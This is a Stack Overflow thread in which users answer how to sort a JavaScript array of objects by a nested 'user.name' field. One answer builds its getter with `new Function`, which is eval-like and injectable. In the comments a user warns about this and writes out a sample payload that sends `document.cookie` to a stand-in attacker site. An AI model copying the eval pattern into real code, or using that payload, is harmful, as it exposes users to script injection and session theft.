5

I want to sort the below array by the "name" that is inside "user" object

 var myArr = [
 {"id":1,"user":{"name":"allen","id":101}},
 {"id":2,"user":{"name":"martin","id":102}}
]

how can I do this?

I have a method to sort array of objects but I can't use it for array of objects of objects

this is the method:

function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
    return function (a, b) {
            var result = (a[property] < b[property]) ? -1 : (a[property] > b[property]) ? 1 : 0;
        return result * sortOrder;
    }
}

then I can sort using this:

myArr.sort(dynamicSort("id"));
  • Check the answer of this question: [Sort array by firstname (alphabetically) in Javascript](https://stackoverflow.com/questions/6712034/sort-array-by-firstname-alphabetically-in-javascript#6712080) – Skeevs Jul 31 '18 at 14:43
  • @Skeevs, he requires sorting for nested objects. not for single object. – yash Jul 31 '18 at 14:45

6 Answers6

5

I would create property as a getter function (For the complex examples. You could check if propFn is a function, use this below for the more complex ones. See this answer for checking is propFn is a function.):

var myArr = [
  {"id":1,"user":{"name":"allen","id":101}},
  {"id":2,"user":{"name":"martin","id":102}}
]

function dynamicSort(propFn, sortOrder = 1) {
    return function (a, b) {
        var result = (propFn(a) < propFn(b)) ? -1 : (propFn(a) > propFn(b)) ? 1 : 0;
        return result * sortOrder;
    }
}

console.log(myArr.sort(dynamicSort((obj) => obj.user.name)));
console.log(myArr.sort(dynamicSort((obj) => obj.user.name, -1)));

Alternatively, you can take a look at: Convert JavaScript string in dot notation into an object reference

This will give you an idea of how you can convert period notation into a nested object, but I recommend reading the disclaimer at the top.

To maintain backwards compatibility, you could use something like this below:

var myArr = [
  {"id":1,"user":{"name":"allen","id":101}},
  {"id":2,"user":{"name":"martin","id":102}}
]

function dynamicSort(propFn, sortOrder = 1) {
    if (typeof propFn === "string") {
        let prop = propFn;
        if (prop[0] === "-") {
            sortOrder = -1;
            prop = prop.substr(1);
        }

        propFn = (obj) => obj[prop];
    }
    return function (a, b) {
        var result = (propFn(a) < propFn(b)) ? -1 : (propFn(a) > propFn(b)) ? 1 : 0;
        return result * sortOrder;
    }
}

console.log(myArr.sort(dynamicSort((obj) => obj.user.name)));
console.log(myArr.sort(dynamicSort((obj) => obj.user.name, -1)));
console.log(myArr.sort(dynamicSort("id")));
console.log(myArr.sort(dynamicSort("-id")));
Blue
  • 22,608
  • 7
  • 62
  • 92
2

Edit:

If you are experiencing problems because of periods in your key names, this approach may be better suited as a solution. The path just has to either start as a bracket notation accessor or with a dot:

function dynamicSort(property, order) {
  order||(order=1);
  const getter = new Function("obj", "return obj" + property + ";");
  return function(a, b) {
    var result = (getter(a) < getter(b)) ? -1 : (getter(a) > getter(b)) ? 1 : 0;
    return result * order;
  }
}

var myArr = [{
    "id": 1,
    "user": {
      "name": "allen",
      "id": 101
    }
  },
  {
    "id": 2,
    "user": {
      "name": "martin",
      "id": 102
    }
  },
  {
    "id": 3,
    "user": {
      "name": "barry",
      "id": 103
    }
  }
]

console.log(JSON.stringify(myArr.sort(dynamicSort(".user.name"))));

Using the Object.byString() method from this answer, you can rewrite your function to take a path to the property you want to sort by:

var myArr = [
 {"id":1,"user":{"name":"allen","id":101}},
 {"id":2,"user":{"name":"martin","id":102}},
 {"id":3,"user":{"name":"barry","id":103}}
]

console.log(JSON.stringify(myArr.sort(dynamicSort("user.name"))));


function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
    return function (a, b) {
            var result = (byString(a, property) < byString(b, property)) ? -1 : (byString(a, property) > byString(b, property)) ? 1 : 0;
        return result * sortOrder;
    }
}

function byString(o, s) {
    s = s.replace(/\[(\w+)\]/g, '.$1'); // convert indexes to properties
    s = s.replace(/^\./, '');           // strip a leading dot
    var a = s.split('.');
    for (var i = 0, n = a.length; i < n; ++i) {
        var k = a[i];
        if (k in o) {
            o = o[k];
        } else {
            return;
        }
    }
    return o;
}

I think it would be a little clearer and easier to use if you have the order as a second parameter, which means that your function should then more or less look like this:

function dynamicSort(property, order) {
  return function(a, b) {
    var result = (byString(a, property) < byString(b, property)) ? -1 : (byString(a, property) > byString(b, property)) ? 1 : 0;
    return result * order;
  }
}
Luca Kiebel
  • 9,790
  • 7
  • 29
  • 44
  • Nice! This seemed pretty challenging at first, but wasn't that hard to find a solution in the end :-) – Luca Kiebel Jul 31 '18 at 15:05
  • What if the key actually contains a period in it? I've always been opposed to solutions like these, as they tend to cause more trouble than they're worth. (Read the giant disclaimer at the top of [this answer](https://stackoverflow.com/a/6394168/4875631), which is another alternative to your `byString` method.) – Blue Jul 31 '18 at 15:20
  • Yes, I didn't really take that into consideration, the disclaimer is very much right, and may be worth for @kouroshstst to read up on it. – Luca Kiebel Jul 31 '18 at 15:23
  • Your edit is essentially EVAL, and that's a whole lot worse. It opens your app up for what could be some nasty XSS attacks, if not properly sanitized. – Blue Jul 31 '18 at 15:35
  • @FrankerZ how do you mean by xss attack? array being served to this method is coming from redux store and redux store is filled by a request from api – kouroshstst Jul 31 '18 at 17:52
  • @kouroshstst What if you pass a get variable to `dynamicSort` (Something like `myscript?sortBy=user.name` as a URL parameter.) If you use the eval function, you can do some nasty things. `?sortBy=.a || window.location.href='http://mynastysite.com?' + document.cookie`. – Blue Jul 31 '18 at 18:00
  • The easiest way to see this in action, is copy his answer, and use `console.log(JSON.stringify(myArr.sort(dynamicSort(".test || alert('test')"))));` instead of `console.log(JSON.stringify(myArr.sort(dynamicSort(".user.name"))));` – Blue Jul 31 '18 at 18:06
  • @FrankerZ I see your point, but still it is not possible to this kind of thing in an online application with static minfied js, is it? – kouroshstst Aug 01 '18 at 09:27
  • @kouroshstst As long as you're not passing variables to dynamicSort, then you're fine. But as soon as you start using eval, it requires you to know that, which is why this is bad. If a new programmer comes along, and decides to make sorting customizable, you could have issues. Worst case scenario, use his original answer, which should work with . notation and doesn't require eval. – Blue Aug 01 '18 at 12:05
0

You could use sort method but you first need to get nested property and for that you could pass a string and then use reduce method to get property.

 var myArr = [{"id":2,"user":{"name":"martin","id":102}}, {"id":1,"user":{"name":"allen","id":101}}]

function dynamicSort(arr, prop) {
  function getVal(obj, prop) {
    return prop.split('.').reduce((r, e) => r[e] || {}, obj)
  }

  arr.sort((a, b) => {
    let vA = getVal(a, prop);
    let vB = getVal(b, prop);
    return vA.localeCompare(vB)
  })
}

dynamicSort(myArr, "user.name")
console.log(myArr)
Nenad Vracar
  • 118,580
  • 15
  • 151
  • 176
0

Check out this SO answer for an answer to a fundamentally similar question.

Since the function in that answer is called differently than yours, with the array to be sorted passed in as a parameter, you could refactor it to be called in the same way as your existing dynamicSort function as follows:

function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
    var prop = property.split('.');
    var len = prop.length;

    return function (a, b) {
        var i = 0;
        while( i < len ) { a = a[prop[i]]; b = b[prop[i]]; i++; }
        var result = (a < b) ? -1 : (a > b) ? 1 : 0;
        return result * sortOrder;
    }
}

You could then call it like so: myArr.sort(this.dynamicSort("user.name")).

Here is a working snippet to demonstrate:

function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
 var prop = property.split('.');
    var len = prop.length;

    return function (a, b) {
  var i = 0;
        while( i < len ) { a = a[prop[i]]; b = b[prop[i]]; i++; }
        var result = (a < b) ? -1 : (a > b) ? 1 : 0;
        return result * sortOrder;
    }
}

var myArr = [
 {"id":1,"user":{"name":"allen","id":101}},
 {"id":2,"user":{"name":"martin","id":102}},
 {"id":3,"user":{"name":"beth","id":103}},
];

console.log(myArr.sort(this.dynamicSort("user.name"))); //expected output: [{id:1, user:{name:"allen",...}}, {id:3, user:{name:"beth",...}}, {id:2, user:{name:"martin",...}}]
kenS
  • 384
  • 1
  • 12
  • I started this answer earlier before the fine answers above were contributed, but got interrupted. Now I just wanted to finish and contribute it in case the potentially easier syntax of calling it was appealing to anyone looking at this question. – kenS Jul 31 '18 at 18:16
-1

Try this out. Works fine for me

var sortedArray = myArr.sort((a, b) => {

        const
            nameA = a.user.name.toUpperCase(),
            nameB = b.user.name.toUpperCase();

        if(nameA < nameB)
            return -1;

        if(nameA > nameB)
            return 1;

        return 0;
    });
Ravi kant
  • 89
  • 5
  • 2
    This isn't really dynamic, which (albeit not very clear) is the problem the OP has – Luca Kiebel Jul 31 '18 at 14:57
  • I thought commenting made it clear what's wrong with this answer. Again, the OP is actually asking for a solution that they can use with different, or dynamic keys to sort by. You may want to look at my answer if it's still not clear – Luca Kiebel Jul 31 '18 at 15:14
-1
myArr.sort(function(a, b) {
    return a.user.name.localeCompare(b.user.name);
});
  • 3
    This isn't really dynamic, which (albeit not very clear) is the problem the OP has – Luca Kiebel Jul 31 '18 at 14:57
  • Thank you for this code snippet, which might provide some limited, immediate help. A [proper explanation would greatly improve its long-term value](//meta.stackexchange.com/q/114762/206345) by showing _why_ this is a good solution to the problem, and would make it more useful to future readers with other, similar questions. Please [edit] your answer to add some explanation, including the assumptions you've made. – Blue Aug 01 '18 at 01:59